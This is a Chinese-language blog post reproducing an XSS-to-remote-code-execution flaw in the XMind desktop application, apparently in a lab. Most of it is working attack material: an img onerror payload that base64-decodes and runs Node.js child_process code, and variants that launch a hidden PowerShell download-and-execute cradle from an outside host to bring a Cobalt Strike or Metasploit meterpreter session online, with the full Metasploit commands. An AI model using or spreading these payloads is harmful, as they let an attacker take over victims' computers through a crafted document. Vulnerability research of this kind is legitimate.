yongz
发布于 2023-04-15 / 2 阅读
0

XMind XSS RCE 漏洞复现

XMind XSS RCE 漏洞复现

1 漏洞介绍

  • Xmind 对输出的内容没有进行 XSS 过滤,所以会产生 XSS 漏洞,因为 Xmind 也启用了 node.js 功能,所以会导致命令执行。

2 环境搭建

3 漏洞复现

  • 前期提要:

    • 靶机:Windows 10(XMind 202101070032)

    • 攻击机:Kali 2023.1

  • 只需要按住 ctrl 靠近大纲字符最后就可以弹出:

<img src=1 onerror=alert(1)>
  • 由于借助的是 node.js 进行命令执行,

require('child_process').exec('whoami',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });
  • base 64 编码一下:

cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==
  • Payload 如下:

<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>

4 主机上线

4.1 CobaltStrike 上线

  • 创建一个 Web 站点托管:

  • 得到一个执行命令:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://114.132.241.133:80/xmind'))"
  • 和前面的 Payload 组合一下:

注:由于命令在单引号内,而 powershell 命令中也有单引号,所以需要用 \ 进行转义。

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://114.132.241.133:80/xmind\'))"',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });
  • base 64 一下:

<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzExNC4xMzIuMjQxLjEzMzo4MC94bWluZFwnKSkiJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>
  • 成功上线~

4.2 Metasploit 上线

  • CS 几乎一致:

search web_de
use 1
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.103
run
  • 上述命令执行完后,得到一个命令执行代码和地址:

http://192.168.0.103:8080/d2nmrgyYyAK7QhB
  • 修改下上述 CS 的代码:

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.0.103:8080/d2nmrgyYyAK7QhB\'))"',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });
  • base 64 编码一下:

<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMC4xMDM6ODA4MC9kMm5tcmd5WXlBSzdRaEJcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>
  • 成功上线~